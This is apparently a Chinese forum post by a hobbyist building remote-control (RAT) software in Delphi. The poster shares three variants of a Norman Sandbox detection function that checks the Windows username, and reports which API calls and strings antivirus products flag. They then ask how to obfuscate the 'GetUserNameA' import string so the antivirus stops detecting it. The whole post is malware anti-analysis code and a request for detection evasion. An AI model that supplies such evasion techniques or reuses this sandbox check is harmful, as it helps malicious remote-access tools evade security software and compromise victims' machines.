小生不才,我对delphi很菜,冲着对远控的爱好不得不接触delphi.在源码里面遇到个问题,请求大家帮忙解决。情况如下:----------------------------------------------------------------------------
原版代码   (1)
function NormanSandBox: boolean;
var
  bSize :Cardinal;
  Str: string;
begin                                             
  result := false;
  try
    bSize := 256;
    SetLength(Str, bSize);
    GetUserName(PChar(Str), bSize);
  except
    Str := '';
  end;
  result := UpperString(str) = UpperString('CurrentUser');
end;
--------------------------------------------------------------------------------
动态调用后的代码   (2)
function NormanSandBox: boolean;   
var
  bSize :Cardinal;
  Str: string;
  @@@GetUserName : function (lpBuffer: PChar; var nSize: DWORD): BOOL; stdcall;
begin      @@@GetUserName:=GetProcAddress(LoadLibrary('advapi32.dll'),'GetUserNameA');                                   
  result := false;
  try
    bSize := 256;
    SetLength(Str, bSize);
    @@@GetUserName(PChar(Str), bSize);
//    GetUserName(PChar(Str), bSize);
  except
    Str := '';
  end;
  result := UpperString(str) = UpperString('CurrentUser');
end;
----------------------------------------------------------------------------------
网友给的调用方法     (3)
function @@@GetUserName(lpBuffer: PChar; var nSize: DWORD): BOOL;stdcall;external 'advapi32.dll' name 'GetUserNameA';function NormanSandBox: boolean;
var
  bSize :Cardinal;
  Str: string;
begin                                           
  result := false;
  try
    bSize := 256;
    SetLength(Str, bSize);
    @@@GetUserName(PChar(Str), bSize);
  except
    Str := '';
  end;
  result := UpperString(str) = UpperString('CurrentUser');
end;
---------------------------------------------------------------------------------
情况(1)是原句,杀毒软件是查杀的句子
情况(2)是我修改过的,还是杀,出现GetProcAddress与LoadLibrary都杀。 
 
情况(3)杀毒软件杀'GetUserNameA'这个字符串,我把它改为'xxxxxGetUserNameA'就不杀了。这样程序肯定是出错的。
现在该如何隐藏情况(3)的字符串?我试过把它改为'GetUserNameA'='G'+'et'+'User'+'Name'+'A'还是不行!
请求各位帮个忙